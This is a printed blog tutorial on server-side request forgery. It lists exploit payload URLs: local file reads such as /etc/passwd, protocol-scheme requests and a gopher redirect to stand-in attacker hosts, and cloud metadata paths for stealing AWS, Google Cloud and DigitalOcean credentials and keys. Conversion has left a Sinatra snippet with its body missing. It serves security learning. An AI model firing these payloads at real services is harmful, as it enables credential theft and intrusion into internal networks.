SSRF - Server Side Request Forgery (Types and Ways To Exploit It) Part-1 - by SaN ThosH - Medium
SSRF - Server Side Request Forgery (Types and Ways To Exploit It) Part-1 - by SaN ThosH - Medium
SaN ThosH
What is SSRF?
Server Side Request Forgery (SSRF) refers to an attack where in an attacker is able to
send a crafted request from a vulnerable web application.
In a simple way - Attacker asks the server to fetch a URL for him
For example -
Host: example.com
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 1/8
15/07/2021 SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 | by SaN ThosH | Medium
Table of Contents
1. Types of SSRF
2. Test Cases
4. Live Example
1. Types of SSRF -
i. Basic -
As mentioned It displays response to attacker, so after the server fetches the URL asked
by attacker for him, it will send the response back to attacker
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 2/8
15/07/2021 SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 | by SaN ThosH | Medium
require 'sinatra'
require 'open-uri'
get '/' do
end
The above code runs a server on port 4567 ( Took from Jobert’s Post )
Try URL schemas to read internal and make server perform actions ( file:/// ,
dict:// , ftp:// , gopher:// ..)
Simply fetch a file from external sites which has malicious payload with content type
served as html
Example - http://localhost:4567/?url=http://brutelogic.com.br/poc.svg
First thing to do when we find an SSRF is to test all the wrapper which are working
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 3/8
15/07/2021 SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 | by SaN ThosH | Medium
file:///
dict://
sftp://
ldap://
tftp://
gopher://
file:// -
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
If the server block http request to external sites or whitelist you could simply use below
URL schemas to make a request
dict:// -
DICT URL scheme is used to refer to definitions or word lists available using the DICT
protocol:
http://example.com/ssrf.php?dict://evil.com:1337/
sftp:// -
Sftp stands for SSH File Transfer Protocol, or Secure File Transfer Protocol, is a separate
protocol packaged with SSH that works in a similar way over a secure connection.
http://example.com/ssrf.php?url=sftp://evil.com:1337/
SSH-2.0-libssh2_1.4.2
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 4/8
15/07/2021 SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 | by SaN ThosH | Medium
http://example.com/ssrf.php?
url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?
url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?
url=ldapi://localhost:1337/%0astats%0aquit
tftp:// -
Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol which allows a
client to get a file from or put a file onto a remote host
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
TESTUDPPACKEToctettsize0blksize512timeout3
gopher:// -
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
Hi
ssrf
test
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 5/8
15/07/2021 SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 | by SaN ThosH | Medium
What if they are running some servers in their LAN (Kibana, Elastic Search,MongoDB..
)
Which we can not access from internet directly as firewall blocks them
Attacker runs a internal IP and PORT scan and understands more about the target and
use it for further exploitation
Example - Found an internal host running an outdated software which has publicly
know RCE, we can use it here to perform code execution and same applies for other
vulnerabilities
Cloud Instances -
Amazon:
If you find an SSRF in Amazon Could, Amazon expose an internal service every EC2
instance can query for instance metadata about the host. If you found an SSRF
vulnerability that runs on EC2, try requesting :
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 6/8
15/07/2021 SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 | by SaN ThosH | Medium
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-
credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-
credentials/PhotonInstance
This will give our juicy information like Aws keys, ssh keys and more
For example:-
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJE
CTION PAYLOAD]
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.2
54.169.254/latest/meta-data/iam/security-credentials/flaws/
Google Cloud -
http://metadata.google.internal/computeMetadata/v1beta1/instance/ser
vice-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attr
ibutes/ssh-keys?alt=json
Refer - #341876
Digital Ocean -
http://169.254.169.254/metadata/v1.json
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 7/8
15/07/2021 SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 | by SaN ThosH | Medium
./End of part 1
Security Ssrf Server Side Request For Lfi Local File Inclusion
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 8/8